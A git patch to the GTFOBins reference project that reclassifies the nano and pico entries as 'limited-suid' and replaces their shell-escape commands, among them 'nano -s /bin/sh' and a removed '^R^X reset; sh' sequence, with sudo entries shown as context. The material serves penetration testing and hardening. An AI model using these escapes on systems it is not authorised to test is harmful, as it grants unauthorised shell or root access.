From 33fb39a18301ab749e0268db60033ea740ed1606 Mon Sep 17 00:00:00 2001 From: Andrea Cardaci Date: Sun, 10 Jan 2021 17:56:17 +0100 Subject: [PATCH] Fix wrong nano and pico SUID --- _gtfobins/nano.md | 8 ++++---- _gtfobins/pico.md | 8 ++++---- 2 files changed, 8 insertions(+), 8 deletions(-) diff --git a/_gtfobins/nano.md b/_gtfobins/nano.md index 4c008a4..51d4ba3 100644 --- a/_gtfobins/nano.md +++ b/_gtfobins/nano.md @@ -17,12 +17,12 @@ functions: ^O file-read: - code: nano file_to_read - suid: + limited-suid: - description: The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed. code: | - ./nano - ^R^X - reset; sh 1>&0 2>&0 + ./nano -s /bin/sh + /bin/sh + ^T sudo: - code: | sudo nano diff --git a/_gtfobins/pico.md b/_gtfobins/pico.md index f88f26d..e87af3f 100644 --- a/_gtfobins/pico.md +++ b/_gtfobins/pico.md @@ -17,12 +17,12 @@ functions: ^O file-read: - code: pico file_to_read - suid: + limited-suid: - description: The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed. code: | - ./pico - ^R^X - reset; sh 1>&0 2>&0 + ./pico -s /bin/sh + /bin/sh + ^T sudo: - code: | sudo pico